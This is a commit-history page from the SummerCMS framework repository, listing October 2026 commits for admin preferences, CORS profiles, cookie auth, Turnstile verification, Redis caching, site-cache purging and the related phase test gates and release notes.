Compare commits

...

424 Commits

Author SHA1 Message Date
Jakub Zych
450c535452 docs(quick-261016-s8x): PaymentGateway: banner bottom margin and hide disabled sections from admin navigation 2026-10-16 20:42:06 +02:00
Jakub Zych
ab9f385db8 chore(quick-261016-s8x): rebuild embedded admin dist 2026-10-16 20:35:13 +02:00
Jakub Zych
2dd5fb3bbb fix(quick-261016-s8x): space below a callout that a sibling follows in a partial
- .summer-partial .summer-callout:not(:last-child) gets margin-bottom: 12px,
  so a feature-off callout no longer touches the stats strip under it
- scoped to rendered partials: FormField.vue's field notice and the hint
  partials, whose callout is the last child, are unchanged
2026-10-16 20:34:41 +02:00
Jakub Zych
06e2e60ce1 feat(quick-261016-s8x): pact.NavigationItem.Visible hides navigation entries at request time
- pact.NavigationItem gains Visible func(ctx) bool (json:"-"); nil keeps the
  entry always listed
- cabana.Registry.Metadata runs it after the permission check, drops a main
  item (with its side menu) or a side item that answers false, and relinks a
  parent whose controller is a hidden child's to its first visible openable
  child
- TestNavigationHidesInvisibleItemsAndRepointsTarget covers the rules
- pact and cabana READMEs, users-and-permissions and admin-controllers docs
  describe the hook
2026-10-16 20:34:26 +02:00
Jakub Zych
90b2d4e23b test(18.1): duplicates 2 and 3 settled by tests 6 and 7 2026-10-16 20:17:28 +02:00
Jakub Zych
6878be4e6a docs: todo - audit-log admin action runs (18.1 AR-18.1-03) 2026-10-16 20:17:21 +02:00
Jakub Zych
5f1245f1e4 docs(phase-18.1): add security threat verification 2026-10-16 20:17:21 +02:00
Jakub Zych
0e5c56b5ae docs(18.1): re-verify after quick 261016-myi and 261016-nqk - human_needed (release go-ahead) 2026-10-16 17:46:58 +02:00
Jakub Zych
0dbf5e14b0 test(18.1): complete UAT - 6 passed, 2 skipped duplicates, 3 gaps resolved 2026-10-16 17:34:36 +02:00
Jakub Zych
6e14522a84 docs(quick-261016-nqk): plan and summary for UAT gaps G-18.1-7 and G-18.1-4; D-21 amended, COVERAGE cancel_at row 2026-10-16 17:24:12 +02:00
Jakub Zych
17398fe87c chore(quick-261016-nqk): rebuild embedded admin dist 2026-10-16 17:19:54 +02:00
Jakub Zych
013890c3d6 feat(quick-261016-nqk): admin heads form and preview with meta.title (G-18.1-4) 2026-10-16 17:19:54 +02:00
Jakub Zych
bc5685eb93 feat(quick-261016-nqk): ListExtendRecords and FormRecordTitle admin hooks (G-18.1-4)
pact.ListExtendRecords fills unstored fields of one list page before its
columns are read (WinterCMS listExtendRecords); such columns compile
unsortable and refuse sortable/searchable. pact.FormRecordTitle names a
record; the show, create and update responses send it as meta.title.
2026-10-16 17:19:54 +02:00
Jakub Zych
9890aff66d test(18.1): UAT 4 part E passed 2026-10-16 17:05:12 +02:00
Jakub Zych
bad37d1d3d test(18.1): UAT diagnosed 2026-10-16 17:03:03 +02:00
Jakub Zych
6ae1c1c077 test(18.1): complete UAT - 3 passed, 3 issues (2 resolved by gap closure pending) 2026-10-16 17:02:58 +02:00
Jakub Zych
8a04416b0c test(18.1): UAT progress - 1, 5 passed; 2, 3 duplicates; boot-order gap found and fixed 2026-10-16 16:47:08 +02:00
Jakub Zych
9098c87d04 docs(quick-261016-myi): Phase 18.1 re-review warnings fixed; disposition, coverage, summary 2026-10-16 16:46:24 +02:00
Jakub Zych
1788c50a85 docs(18.1): shorten two COVERAGE.md reasons for the api-coverage gate 2026-10-16 16:26:58 +02:00
Jakub Zych
52d149b8f1 docs(18.1): re-verification after gap closure 2026-10-16 14:15:52 +02:00
Jakub Zych
f56ebd0828 docs(18.1): add code review report 2026-10-16 14:06:44 +02:00
Jakub Zych
646e51356e docs(18.1-09): roadmap progress 9/9 2026-10-16 13:55:59 +02:00
Jakub Zych
d9ccc8275e docs(18.1-09): release record (framework v0.2.1, pgsub v0.1.0, pgstripe v0.1.0, layer v0.2.1) 2026-10-16 13:55:53 +02:00
Jakub Zych
f64ae79e1d docs(18.1-09): complete gap-closure tests, phase gate and release plan 2026-10-16 13:53:57 +02:00
Jakub Zych
03b8cc2770 docs(18.1-09): VALIDATION rows for plans 07 to 09 and the deferred review findings 2026-10-16 13:44:55 +02:00
Jakub Zych
48e264285a fix(scripts): allow the admin theme and locale cache in check-phase10 hygiene (T-261016-0fm-08)
usePreferences.ts (quick 261016-0fm) caches the theme and locale codes in
localStorage, an accepted threat of that task; the hygiene allow-list was
not updated, so check-phase18.1.sh docs failed. Tokens stay forbidden.
2026-10-16 13:40:30 +02:00
Jakub Zych
3cb22523e2 test(18.1-09): phase gate requires the seven layer restore and copy specs; layers minimum 43 2026-10-16 13:37:22 +02:00
Jakub Zych
b6e6736db4 test(18.1-09): phase gate requires TestDetachedBulkAction and the pgstripe gateway hardening tests (postgres stage) 2026-10-16 13:34:08 +02:00
Jakub Zych
fa91e2a7ca test(18.1-09): TestDetachedBulkAction covers detached admin bulk actions (Postgres)
- a detached Run sees no transaction and holds no row lock (FOR UPDATE
  NOWAIT from another connection succeeds), with the empty, absent and
  partial-selection rules, a ValidationError as 422 and earlier writes kept
- the same action without Detached still holds the transaction and locks
- test-only actions on the roster fixture through its wrap hook; README
  Testing names the test
2026-10-16 13:33:34 +02:00
Jakub Zych
5a446d68d7 test(18.1-09): phase gate requires the pgsub gap-closure tests (plugins and postgres stages) 2026-10-16 13:17:31 +02:00
Jakub Zych
0fc909d030 test(18.1-09): phase gate requires TestEventOrdering and TestFreshStateSmoke (postgres stage) 2026-10-16 12:59:30 +02:00
Jakub Zych
f82ac0f2f5 docs(18.1-08): roadmap progress 8/9 2026-10-16 12:54:22 +02:00
Jakub Zych
7b70e27e3c docs(18.1-08): complete checkout, admin sync and layer gap closure plan 2026-10-16 12:53:44 +02:00
Jakub Zych
fc2a397d9b feat(18.1-08): detached admin bulk actions run outside the framework transaction
- pact.AdminBulkAction.Detached (json:"-"): opt-in; records loaded through the list scope without row locks, no write transaction in the context
- cabana BulkAction: detached branch with the same empty, partial-selection, failure and message rules; lockScoped is loadScoped with lock, the locked path unchanged
- docs: admin-controllers bulk route list, pact and cabana READMEs
2026-10-16 12:47:46 +02:00
Jakub Zych
f217c73ef8 docs(18.1-08): idempotency keys and the strict checkout price in COVERAGE 2026-10-16 12:44:33 +02:00
Jakub Zych
f925d6078d docs(18.1-07): roadmap progress 7/9 2026-10-16 12:27:39 +02:00
Jakub Zych
1798b14e99 docs(18.1-07): complete webhook and sync state gap closure plan 2026-10-16 12:25:59 +02:00
Jakub Zych
3cc198ef9f docs(18.1-07): D-21 ordering amendment and the fresh-state retrieval in COVERAGE
- 18.1-CONTEXT.md Amendments: D-21 amendment (2026-10-14, gap closure
  18.1-07)
- COVERAGE.md subscriptions.retrieve: the webhook job's fresh-state
  retrieval and the plan-refreshing sync
2026-10-16 12:23:35 +02:00
Jakub Zych
0bd3973b39 docs(quick-261016-0fm): admin theme/language preferences and save-bar fix for v0.2.1 2026-10-16 11:58:09 +02:00
Jakub Zych
66fd4ae4b7 build(quick-261016-0fm): rebuild embedded admin dist for v0.2.1 2026-10-16 11:49:47 +02:00
Jakub Zych
f0ab26b93f test(quick-261016-0fm): theme switch, language switcher and footer offset
- theme: light and dark ignore prefers-color-scheme, choices and guard
- i18n: ?locale= only with a preference, availableLocales from meta
- usePreferences: cache validation, cycle order and PUT bodies, revert
  with a danger toast, profile apply, setLocale save, cache and reload
- rail theme button, user menu language group, --shell-offset and the
  form save bar offset; fixture strings and resetState theme reset
2026-10-16 11:48:39 +02:00
Jakub Zych
119f1f8d54 test(quick-261016-0fm): admin preference coverage
- Translator.Locales: sorted, prefix-scoped, nil-safe
- preferencesOf, validPreferences, refused keys, metadata writes and
  principalFrom's PreferredLocale (internal, Docker-free)
- Docker: refused keys and values leave the row alone, owner-only saves,
  personal tokens get interactive_only and keep the request locale, the
  cookie CSRF header, non-object metadata stays byte-identical
2026-10-16 11:44:32 +02:00
Jakub Zych
85e52d9336 fix(quick-261016-0fm): bottom save bars no longer cover the sidebar
AppShell exposes --shell-offset (the rail, plus the section panel when it
shows); the form, settings, My account and preview save bars start there,
so the rail's Settings item stays visible and clickable.
2026-10-16 11:41:19 +02:00
Jakub Zych
5244a37b00 feat(quick-261016-0fm): language switcher in the user menu
- loadStrings sends the chosen language as ?locale= and keeps
  meta.locales as availableLocales
- the user menu lists the admin locales, each named in its own language;
  choosing one saves it through PUT /account/preferences, caches it and
  reloads the page
- boot loads the strings in the cached language; me() reloads them when
  the stored preference differs
2026-10-16 11:35:08 +02:00
Jakub Zych
f67e8915b8 feat(quick-261016-0fm): admin language follows the stored preference
- principalFrom sets PreferredLocale from metadata admin_locale; personal
  API token principals clear it, so token clients keep the request locale
- the guarded admin group runs locale.from-principal after the backend
  guard, overriding the LocaleResolver or Accept-Language locale
- GET /lang honours a supported ?locale= and reports meta.locales
  (cabana.LangEnvelope, cabana.LangMeta)
- Docker test for the override, refusals and /lang; docs and OpenAPI
2026-10-16 10:58:29 +02:00
Jakub Zych
3d2f9d0cf6 fix(quick-261016-0fm): full key literals for the rail theme label
The phrasebook SPA-key check scans admin/src for backend::lang literals;
the template-string key backend::lang.nav.theme_ did not resolve and
failed go test -short.
2026-10-16 10:21:50 +02:00
Jakub Zych
21b0d39de0 feat(quick-261016-0fm): manual theme switch on the rail
- the rail's top button cycles system, light and dark and names the
  current choice; light and dark ignore prefers-color-scheme
- usePreferences applies the cached theme before the first await of boot,
  saves the choice through PUT /account/preferences and reverts with a
  toast when the save fails; me() applies the stored preference
2026-10-16 09:54:02 +02:00
Jakub Zych
047858ae84 feat(quick-261016-0fm): per-admin theme and locale preferences
- GET and PUT /account/preferences (own row only, interactive sessions,
  CSRF header on cookie writes) store admin_theme and admin_locale in
  backend_users.metadata, keeping every other key
- GET /auth/me and the My account answers carry preferences
- phrasebook.Translator.Locales lists the locales defining a prefix
- route tables, conformance cases, OpenAPI document, TS types and docs
2026-10-16 09:26:09 +02:00
Jakub Zych
1a03399357 docs: log fast task summercms.io Alpha 0.2 copy 2026-10-16 00:07:28 +02:00
Jakub Zych
853ea1fa6e docs(quick-261015-w7f): summercms.io deployed on v0.2.0 2026-10-16 00:03:25 +02:00
Jakub Zych
a204d38b49 docs(quick-261015-w7f): plan and summary at the deploy checkpoint 2026-10-15 23:37:11 +02:00
Jakub Zych
f3e8a984b0 docs(quick-261015-w7f): docs since v0.1.14 and the Upgrading to 0.2 notes
- new setup/upgrading.md: version rule, the two 0.2 boot refusals with
  their fixes, behaviour changes, and what 0.2 adds since 0.1
- architecture module table lists all 28 modules
- WinterCMS map: cache and reorder are provided; rows for field types,
  sanitizing, singletons, API tokens, CORS, Turnstile, menu item types
- configuration keys for CORS profiles, api_docs, auth.cookie, turnstile
- index, setup intro and frontend page link the new topics
2026-10-15 23:24:56 +02:00
Jakub Zych
76d788821a docs: decide to release the 19.3 gap closure as v0.2.0 2026-10-15 23:14:08 +02:00
Jakub Zych
694a565941 test(19.3): persist human verification items as UAT 2026-10-15 23:11:05 +02:00
Jakub Zych
56fe2ae372 docs(19.3): re-verification after gap closure (human checks pending) 2026-10-15 23:10:59 +02:00
Jakub Zych
c5d9a7b6b1 docs(19.3-06): state and roadmap after the gap closure 2026-10-15 23:01:46 +02:00
Jakub Zych
350d0355b2 docs(19.3-06): gap closure summary, release handed off to the phase session 2026-10-15 23:01:09 +02:00
Jakub Zych
0c8109c670 docs(19.3-06): review disposition and validation map after the gap closure 2026-10-15 22:51:13 +02:00
Jakub Zych
b2f4044111 test(19.3-06): gate requires the review-fix tests
- go, docker and layers stages require the plan-06 tests by name
  (CR-01, WR-01..WR-09)
2026-10-15 22:47:45 +02:00
Jakub Zych
8d80580083 test(19.3-06): unit tests for the review fixes
- TestCORSCredentialedOriginRules, TestCORSAnchoredPatternNoSuffixMatch (D-04)
- TestAPIDocsCSPNoHostSource (D-17)
- TestLoadCookieConfigProductionInferredSecure, TestZeroCookieConfigDefaults (D-03)
- TestSiteCachePurgeWaitAndClose, TestSiteCacheBulkCommitCoalesced (D-10)
2026-10-15 22:45:16 +02:00
Jakub Zych
4d4e37932c docs(19.3-06): pair a remote purge URL with the site's allowProxied (WR-03)
- caching.md: an https purge_url on another host goes through the site's
  proxy; set NUXT_SITE_CACHE_ALLOW_PROXIED=true there, the token is then the
  only gate
- cooler README: the purge_url row points at it
2026-10-15 22:42:36 +02:00
Jakub Zych
3bb6d61843 docs(19.3-06): progress record after Task 4 2026-10-15 22:40:30 +02:00
Jakub Zych
db6a7f5c3f fix(19.3-06): queue site-cache purges after commit and coalesce them (WR-01)
- PurgeSiteCacheAfterCommit queues the purge on a per-purger worker after
  commit: one request in flight, saves committed meanwhile collapse into
  one follow-up, so the admin request never waits for the site
- new cooler.SiteCachePurger.Wait drains the queue; Handle.Close waits for
  it at shutdown (timeout plus one second)
- Purge stays the synchronous send; exported names and signatures unchanged
2026-10-15 22:36:24 +02:00
Jakub Zych
50a584c757 fix(19.3-06): site-cache purge never follows redirects (WR-02)
- the purge client's CheckRedirect returns http.ErrUseLastResponse: a 3xx
  is logged as a failed purge with its status and the bearer token never
  reaches the Location
2026-10-15 22:32:32 +02:00
Jakub Zych
d0a580c60c fix(19.3-06): warn at boot when turnstile routes have no secret (WR-08)
- BuildRouter logs one warning with the route count and the production
  flag when routes name turnstile:open or turnstile:closed and the
  verifier has no secret; the secret is never logged
2026-10-15 22:30:57 +02:00
Jakub Zych
caa5b5d8ff fix(19.3-06): refuse protected uploads into a public_url bucket (WR-07)
- attach.Store returns attach.ErrProtectedNeedsPrivateBucket for an
  is_public false upload while storage.uploads.public_url is set, before
  any blob is written
- OpenBucket's public_url line becomes a warning naming the refusal
2026-10-15 22:30:00 +02:00
Jakub Zych
f705343904 fix(19.3-06): api-docs CSP allows only nonce-carrying scripts (WR-06)
- the two pinned jsDelivr scripts carry the per-request nonce next to
  their SRI hash; script-src holds only the nonce, no host source
2026-10-15 22:28:34 +02:00
Jakub Zych
85d8b6a85a fix(19.3-06): zero CookieConfig writes SameSite=Lax and Secure (WR-09)
- withDefaults gives the zero config Secure and every unset SameSite Lax;
  a config with any field set keeps its Secure value
2026-10-15 22:27:31 +02:00
Jakub Zych
4dae8331c5 fix(19.3-06): production refuses an inferred insecure token cookie (WR-05)
- LoadCookieConfig refuses a Secure that resolves to false in production,
  also when inferred from an http or unset app.url, naming
  auth.cookie.secure and app.url
2026-10-15 22:26:43 +02:00
Jakub Zych
e32940d90f fix(19.3-06): credentialed CORS refuses wildcard-host and unanchored origins (WR-04)
- with supports_credentials, a * origin must be the whole leftmost host
  label, patterns must be anchored with ^ and $, and no origin rule may
  match the probe origins outside any configured domain
- globally and per profile; non-credentialed configs load as before
2026-10-15 22:25:43 +02:00
Jakub Zych
072353663e fix(19.3-06): cors:<profile> headers on every response of the route (CR-01)
- Router.wrap applies the route's profile outside recovery, body limit and
  locale, whatever its position in the list or the group nesting
- bufferedResponse.commit merges Vary instead of replacing it
- TestCORSProfileHeadersOnRefusals, TestCORSProfileVaryKeptWithHandlerVary
  required by name in the gate
2026-10-15 22:24:08 +02:00
Jakub Zych
e9ad640999 docs(19.3): state after gap closure planning 2026-10-15 21:21:00 +02:00
Jakub Zych
94d9344cdd docs(19.3): revise gap closure plan 06 after checker feedback
Task 1 tests every refusal status routing.md names (403 and the
Turnstile 422 and 503 added). Task 4 ends with a committed progress
record and the plan gains a resume rule, so a context reset after
Task 4 continues at Task 5 without a partial SUMMARY.
2026-10-15 21:19:55 +02:00
Jakub Zych
629e75f152 docs(19.3): create gap closure plan 06 (CR-01, WR-01..WR-09) 2026-10-15 21:12:58 +02:00
Jakub Zych
ebdd896d82 docs(19.3): add phase verification report (gaps found) 2026-10-15 20:28:18 +02:00
Jakub Zych
6cd29eae35 docs(19.3): record code review disposition 2026-10-15 20:18:44 +02:00
Jakub Zych
1ec6aa4364 docs(19.3): add code review report 2026-10-15 20:18:33 +02:00
Jakub Zych
f80e2e8636 docs(19.3-05): state and roadmap after the v0.1.27 release 2026-10-15 20:10:23 +02:00
Jakub Zych
03a9d1f7f1 docs(19.3-05): complete unit tests, phase gate and release plan
- Task 7 reply: release; v0.1.27 tagged and pushed
- plugins bumped to v0.1.27 and pushed; layer and app commits pushed
2026-10-15 20:09:46 +02:00
Jakub Zych
9921768bbf docs(19.3-05): summary through Task 6 and the release sheet; state at the Task 7 checkpoint 2026-10-15 20:02:00 +02:00
Jakub Zych
8f5325300c docs(19.3-05): validation map filled, wave 0 complete 2026-10-15 19:56:21 +02:00
Jakub Zych
f57fc12a78 test(19.3-05): gate plugins, layers and docs stages
- plugins: vet and -short in FAQ, menu and Journal, purge helper and
  deprecated-key suites by name; their Docker admin purge suites in docker
- layers: cmp of the shared purge files, 11 sitePurge: names per layer
- docs: TestDocsTree, docs:build --check, no consuming application named in
  framework lines added since the phase base
2026-10-15 19:56:21 +02:00
Jakub Zych
78ba385793 test(19.3-05): cooler caches, rate-limit parity, Install and after-commit purge
- miniredis v2.40.0 as a test-only dependency (approved at the Task 4 check)
- memory and Redis cache suites, Flush limited to <prefix>cache:
- one parity table through surf.MemoryStore, miniredis and real Redis
- Install, FromApp and site_cache validation; Postgres after-commit purge
- gate: cooler names in the go and docker stages
2026-10-15 19:49:34 +02:00
Jakub Zych
b139651674 docs(19.3-05): record the miniredis checkpoint reply 2026-10-15 19:41:38 +02:00
Jakub Zych
df7db6cfc2 docs(19.3-05): log S3 object content-type observation in deferred items 2026-10-15 19:37:44 +02:00
Jakub Zych
38f6d65c09 test(19.3-05): build tags, S3 tag guard, DiskExtension and public_url
- manifest_tags_test.go: build.tags load, trim, dedupe and validation
  errors naming build.tags; SaveManifest keeps tags and plugin order;
  goBuildArgs puts one -tags before -o
- s3_test.go: s3:// refused without summercms_s3 naming the tag, opens
  with it (both build modes, any scheme case)
- diskext_test.go: RESEARCH probe rows and table consistency
- url_test.go: public_url base joining, File.URL and thumbnails,
  malformed values refused naming the key
- store_test.go: Postgres regression table through Store
- gate: attach names in both tag modes, Store regression in docker
2026-10-15 19:37:35 +02:00
Jakub Zych
055f51c94f test(19.3-05): surf CORS, profiles, api-docs and store lookup; cabana reorder hook
- cors_profile_test.go: credentials with * refused (global and profile),
  pattern errors, anchored wildcard origins, Vary: Origin on dynamic
  answers, api/www credentialed case, unchanged * answers, profile
  preflight routes and boot errors, turnstile factory params
- apidocs_test.go: off by default, pinned 5.33.1 page with the RESEARCH
  SRI hashes and nonce CSP, ordered compact JSON, provider count, path
  validation, escaped title
- store_lookup_test.go: MemoryStore fallback, published Store, no dial
- reorder_hook_test.go (Postgres): hook sees the new order in the tx,
  its error rolls back, no hook answers unchanged
- gate: surf names in the go stage, cabana names in the docker stage
2026-10-15 19:30:52 +02:00
Jakub Zych
619916b5d2 test(19.3-05): phase gate with bouncer cookie and Turnstile unit suites
- scripts/check-phase19.3.sh: fail-closed gate (go stage, self-test, --all
  with NOT RUN docker); a required name that fails, skips or is missing
  fails its stage
- cookie_test.go: LoadCookieConfig defaults and errors, TokenCookie
  attributes and refresh-window Max-Age, forget cookie, refresh and logout
  handlers with a real Refresh and MemoryBlacklist
- turnstile_test.go: open/closed verdict matrix, timeout, form fields,
  token sources, body restore, statuses and secret-free logs
2026-10-15 19:24:32 +02:00
Jakub Zych
6035ccc194 docs(19.3-04): record plan 04 state and roadmap progress 2026-10-15 19:17:20 +02:00
Jakub Zych
6f9f2e20a4 docs(19.3-04): complete framework site-cache purge plan
- cooler.SiteCachePurger, pact.ReorderAfterSave, FAQ/menu/Journal adoption, shared Nuxt purge route
- Task 4 reply push-all: plugins, layers and summercms master pushed; layer tags v0.2.0, v0.2.0, v0.4.0
2026-10-15 19:17:00 +02:00
Jakub Zych
af9dad634c feat(19.3-04): pact.ReorderAfterSave hook inside cabana's reorder transaction
- optional ReorderAfterSave(ctx, partition) runs after the new order is
  written; an error rolls the reorder back through lifecycleFailure
- reorderPost runs in lagoon.Transaction so lagoon.AfterCommit work a hook
  registers (a site-cache purge) runs only after the commit
- pact and cabana READMEs, admin hook table, tree reorder docs
2026-10-15 18:31:49 +02:00
Jakub Zych
0bc390f39f feat(19.3-04): cooler site-cache purge service with site_cache.purge_url and purge_token
- cooler.SiteCachePurger moved from the Journal plugin: loopback-only http,
  32-character token, 2 s detached request, no token in logs or errors
- NewSiteCachePurgerFor names caller keys (for plugin alias keys)
- PurgeSiteCacheAfterCommit through lagoon.AfterCommit, one POST per save
- SiteCacheFromApp for hooks outside serve; Install publishes the purger
  unless a plugin already did, and fails boot on an invalid config
- caching docs section, cooler README, configuration row
2026-10-15 18:21:10 +02:00
Jakub Zych
1d8e50a1ee docs(19.3-03): record plan 03 state and roadmap progress 2026-10-15 18:14:44 +02:00
Jakub Zych
17054f9f85 docs(19.3-03): complete S3 build tag, content-derived disk names and public_url plan 2026-10-15 18:14:18 +02:00
Jakub Zych
2e87efae54 feat(19.3-03): storage.uploads.public_url for direct bucket or CDN file URLs
- OpenBucket validates public_url (absolute http/https, host, no user info, query
  or fragment; the error names the key) and records it next to public_path_prefix
- a set public_url logs one start-up line: the bucket behind it must hold only
  public files, since it bypasses the is_public check
- attach.PublicURLBase; PublicURL, File.URL and thumbnail URLs use the base when
  set and keep the public_path_prefix proxy URLs otherwise
- TestPublicURLSmoke; storage Public URL base section, attachments, configuration
  and lagoon README
2026-10-15 18:13:00 +02:00
Jakub Zych
2e22e9f9a6 fix(19.3-03): name stored uploads after their sniffed content through attach.DiskExtension
- DiskExtension: a fixed table of specific sniffed types keeps a matching client
  extension or uses the canonical one; generic sniffs keep the client extension
  unless it is script-capable (then txt or bin); never asks package mime
- Store names the blob with DiskExtension(sniffed, ext); file_name, the allow-list
  and the stored content_type are unchanged
- TestStoreDiskExtensionSmoke: a PNG uploaded as x.html is stored and served as .png,
  report.docx keeps .docx, an HTML body named note.txt keeps .txt
- attachments docs on disk names, storage deploy note on nosniff and allow-lists,
  lagoon README
2026-10-15 18:09:49 +02:00
Jakub Zych
2382040b25 feat(19.3-03): summer.yaml build.tags and the summercms_s3 tag that links the S3 uploads driver
- Manifest.Tags from build.tags (^[a-z0-9_]+$, duplicates dropped), round-tripped by SaveManifest
- summer build passes -tags=<list> through goBuildArgs and prints the build tags line
- attach: s3blob imported only by s3_on.go (//go:build summercms_s3); an untagged binary
  refuses an s3:// bucket_url naming the tag, build.tags and -tags
- go mod tidy adds the AWS SDK v2 modules as indirect requirements
- storage, modules, scaffolding, configuration and scaling docs plus the lagoon README
2026-10-15 18:07:05 +02:00
Jakub Zych
b1fab9930b docs(19.3-02): record plan 02 state and roadmap progress 2026-10-15 18:02:28 +02:00
Jakub Zych
e3ba89a411 docs(19.3-02): complete cookie transport, credentialed CORS, Turnstile and api-docs plan 2026-10-15 18:01:54 +02:00
Jakub Zych
20bc1a0795 feat(19.3-02): opt-in /api-docs Swagger UI page with a pinned, SRI-checked swagger-ui-dist
- surf: APIDocsProvider (one plugin) supplies a YAML or JSON OpenAPI document,
  converted once at boot to compact JSON in source key order; zero or several
  providers or a spec that does not convert fail boot
- http.api_docs.enabled/path/title mount GET /api-docs and /api-docs.json
  (summercms.apidocs, public, refusing to replace a plugin route)
- the page loads swagger-ui-dist 5.33.1 from jsDelivr with sha384 SRI and
  crossorigin on all three assets, a per-request CSP nonce for its inline
  script, nosniff and no-referrer
- docs: API documentation page section, README rows, ExampleAPIDocsProvider
2026-10-15 17:59:54 +02:00
Jakub Zych
597c79bae7 feat(19.3-02): Cloudflare Turnstile verification as turnstile:open|closed middleware
- bouncer: Turnstile.Verify posts secret/response/remoteip to siteverify with
  a 5 s bound and PHP's open and closed modes (503 unconfigured in production,
  422 on a missing, rejected or overlong token, an error or a timeout); errors
  never carry the secret or the token
- bouncer: Turnstile.Middleware reads the token from the query, a JSON body or
  a form body, restores the body and writes refusals through a published
  TurnstileWriter or neutral JSON
- surf: factory turnstile:open|closed from turnstile.secret/turnstile.field
  (a published *bouncer.Turnstile wins), client IP with trusted proxies; any
  other param fails boot
- docs: Turnstile section, middleware table, README rows
2026-10-15 17:54:58 +02:00
Jakub Zych
5055e8bb61 feat(19.3-02): per-group CORS policies through cors:<profile> with router-registered preflights
- surf: LoadCORSProfiles reads http.cors_profiles.<name> (http.cors keys
  without paths, validated the same way); factory cors:<profile> sets the
  profile's headers; an unknown profile fails boot naming plugin and route
- BuildRouter registers OPTIONS <path> (owner surf, recovery only) for every
  path whose routes name cors:<profile>; two profiles on one path, an existing
  OPTIONS route or overlap with http.cors.paths fail boot
- docs: CORS profiles section, middleware table and README rows
2026-10-15 17:51:58 +02:00
Jakub Zych
e7659f2f4b feat(19.3-02): cookie token refresh across subdomains with hardened credentialed CORS
- bouncer: CookieConfig from auth.cookie.* (LoadCookieConfig validates domain,
  same_site none without Secure, secure false in production), TokenCookie with
  Max-Age = refresh window, ForgetTokenCookie, CookieRefreshHandler and
  CookieLogoutHandler with an app-supplied writer
- surf: http.cors refuses credentials with a * origin and bad or PHP-delimited
  patterns at boot, turns wildcard origins into anchored patterns, echoes the
  exact origin and sends Vary: Origin on every dynamic CORS answer; the
  non-credentialed * answer is unchanged
- smoke tests for the www -> api refresh and the refused wildcard config
2026-10-15 17:49:35 +02:00
Jakub Zych
866e4fd3e0 docs(19.3-01): record plan 01 state and roadmap progress 2026-10-15 17:42:42 +02:00
Jakub Zych
d86f27cc9c docs(19.3-01): complete cooler cache and Redis rate-limit store plan 2026-10-15 17:41:58 +02:00
Jakub Zych
fd7f204979 feat(19.3-01): add cooler.Cache with otter memory and Redis drivers
- Cache: Get, Set, Has, Forget, Remember (degrades on cache errors), Increment, Flush
  with per-entry TTLs under <prefix>cache:
- memory driver on otter v2.3.0 bounded by cache.memory.max_entries; Redis driver
  with SET PX, INCRBY and a Flush limited to SCAN MATCH <prefix>cache:* plus UNLINK
- Install publishes the Cache (sharing one Redis client with the rate limiter);
  FromApp serves jobs and commands without a dial
- new docs/services/caching.md, configuration rows, cooler README
2026-10-15 17:40:23 +02:00
Jakub Zych
fa4d89d0b9 feat(19.3-01): share rate limits across instances through cooler's Redis store
- new module cooler: Install, Handle, OpenRedis (no URL in errors), RateLimitStore
  (atomic fixed-window Lua script with MemoryStore semantics, per-instance fallback)
- serve installs cooler and publishes the Redis surf.Store before BuildRouter;
  BuildRouter looks up a published Store, route:list keeps the memory store
- config keys http.rate_limit.store and redis.url; go-redis v9.23.0
- cooler README, root table row, surf README and rate-limiting, configuration
  and scaling docs
2026-10-15 17:35:05 +02:00
Jakub Zych
77dd11c804 docs(19.3): decide cooler dependencies
- go-redis v9.23.0 as the Redis client, otter v2.3.0 as the memory driver
- miniredis test-only after a human check (plan 05), s3blob behind a build tag (plan 03)
2026-10-15 17:27:33 +02:00
Jakub Zych
7357525b0b docs(19.3): create phase plan 2026-10-15 14:45:51 +02:00
Jakub Zych
55dbb18295 docs(19.3): add pattern map 2026-10-15 14:12:24 +02:00
Jakub Zych
25b97338e1 docs(19.3): add research and validation strategy 2026-10-15 13:34:17 +02:00
Jakub Zych
401883ae3b docs(state): record phase 19.3 context session 2026-10-15 11:51:35 +02:00
Jakub Zych
2d352ff582 docs(19.3): capture phase context 2026-10-15 11:51:29 +02:00
Jakub Zych
fcd39918f3 docs(18.1): create gap closure plans 07-09 for review findings 2026-10-14 22:20:49 +02:00
Jakub Zych
38c9c7aa3c docs(18.1): add phase verification report and human UAT items 2026-10-14 21:30:27 +02:00
Jakub Zych
929cfd8669 docs(18.1): add code review report 2026-10-14 21:24:17 +02:00
Jakub Zych
a9dd5656d9 docs(18.1-06): record plan complete in state and roadmap 2026-10-14 21:14:10 +02:00
Jakub Zych
c1a65c9f22 docs(18.1-06): complete phase 18.1 tests, gate and release plan (push-all) 2026-10-14 21:13:47 +02:00
Jakub Zych
5c2b0e1d8a docs(18.1-06): validated phase 18.1 verification map and deferred items (task 4)
- 18.1-VALIDATION.md: every task of plans 01 to 06 with its command and the
  gate result; status validated, nyquist_compliant and wave_0_complete true
- deferred-items.md: reorder.flat and the pnpm store watch resolved; the
  layer's check-git-install.sh stays open (no gate or release step runs it)
2026-10-14 21:05:47 +02:00
Jakub Zych
7790434834 test(18.1-06): require the pgstripe unit and Postgres tests in the phase 18.1 gate (task 4)
- plugins stage: pgstripe root and ./subscriptions Docker-free names
- postgres stage: the settings, import, secrets and Phase 18 host suites in
  the root, and the subscription host, webhook, job, plan sync, gateway and
  PHP map suites in ./subscriptions
2026-10-14 21:05:47 +02:00
Jakub Zych
6f71cd12ce test(18.1-06): require the pgsub unit and Postgres tests in the phase 18.1 gate (task 3)
- plugins stage: ./models, ./contracts and root Docker-free names in pgsub
- postgres stage: every pgsub Postgres test by name
2026-10-14 20:50:56 +02:00
Jakub Zych
323b6d684a test(18.1-06): taglist and flat reorder unit matrices, partitioned flat smoke and admin specs (task 2)
- TestTaglistFieldValidate: both modes, trim, dedupe, empty, null, wrong shapes,
  customTags false, required; TestTaglistFieldHydrate: stored NULL and bad text as []
- TestReorderFlatNodes: parent 422, duplicate and zero id 422, missing or extra 409,
  no depth or cycle check; TestReorderFlatCompile checks the localized list schema
- TestReorderFlatSmoke/partitioned: flat reorder within one partition on Postgres
- vitest: script markup as text, Backspace, blur, paste, datalist, customTags,
  string mode; flat ArrowUp/ArrowDown and the before/after drop zones
- export_test.go wrappers for the taglist save check, hydration and node check
- check-phase18.1.sh requires the new names in the go, admin and postgres stages
2026-10-14 20:38:52 +02:00
Jakub Zych
0f09586ec0 fix(18.1-06): keep reorder.flat in the localized list schema
- ListSchema.Localize copied only the reorder title and partition, so
  GET .../schema/list answered a flat reorder without flat: true
- closes the deferred item from plan 18.1-04; the README and the lists docs
  already describe the flag on the list schema
2026-10-14 20:29:31 +02:00
Jakub Zych
3cc4a5ff91 test(18.1-06): fail-closed phase 18.1 gate over four repositories with detector self-test (task 1)
